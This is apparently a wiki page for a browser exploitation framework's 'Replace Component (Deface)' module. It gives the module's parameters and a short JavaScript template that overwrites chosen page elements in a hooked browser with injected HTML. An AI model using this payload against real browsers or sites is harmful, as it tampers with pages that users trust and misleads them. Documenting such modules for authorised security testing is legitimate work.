Skip to content

Module: Replace Component (Deface)

Jess Williams edited this page Jan 13, 2020 · 2 revisions

Summary

  • Objective: Replace content of a specific component of the page

  • Authors: antisnatchor, xntrik

  • Browsers: All

  • Parameters:

    • Target Selector: selector for the target element(s), in jQuery's selector notation.
    • Deface Content: the HTML content to replace original content with
  • Code

Internal Working

Replaces a selected component of the web page to the defaced content.

var result = $j('<%= @deface_selector %>').each(function() {
                $j(this).html(decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@deface_content) %>')););
        }).length;

Feedback

Clone this wiki locally